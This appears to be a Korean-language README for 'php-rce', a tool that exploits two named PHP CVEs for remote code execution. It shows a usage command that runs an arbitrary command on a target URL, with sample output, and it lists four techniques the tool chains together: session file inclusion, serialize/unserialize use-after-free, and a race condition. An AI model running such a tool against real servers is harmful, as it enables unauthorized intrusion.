php-rce

• PHP 원격 코드 실행

CVE-2026-109618 / CVE-2026-109619에 대한 익스플로잇. 취약한 PHP 대상에서 RCE를 달성하기 위한 여러 익스플로잇.

** 사용법

#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname

trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23

vulnerable-hostname #+end_src

** 익스플로잇

• session_lfi :: 세션 파일 포함
• serialize_uaf :: serialize use-after-free
• unserialize_uaf :: unserialize use-after-free
• fast_fire :: 경쟁 조건 기반 실행

순차적으로 실행되며, 처음 성공한 익스플로잇이 명령을 실행합니다.